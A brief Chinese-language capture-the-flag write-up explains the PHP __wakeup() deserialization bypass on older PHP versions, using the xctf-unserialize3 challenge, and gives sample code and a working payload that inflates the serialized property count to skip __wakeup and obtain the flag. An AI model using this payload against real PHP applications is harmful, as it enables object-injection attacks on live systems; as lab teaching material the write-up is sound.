PHP5<5.6.25,PHP7 < 7.0.10
__wakeup函数是在php在使用反序列化函数unserialize()时,会自动调用的函数
如xctf-unserialize3
只要序列化的中的成员数大于实际成员数,即可绕过
如
<?php
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
$a=new xctf();
var_dump(serialize($a));
得到
string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}"
所以把成员数"1",改为"2"即可绕过
payload:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
绕过__wakeup(),得到flag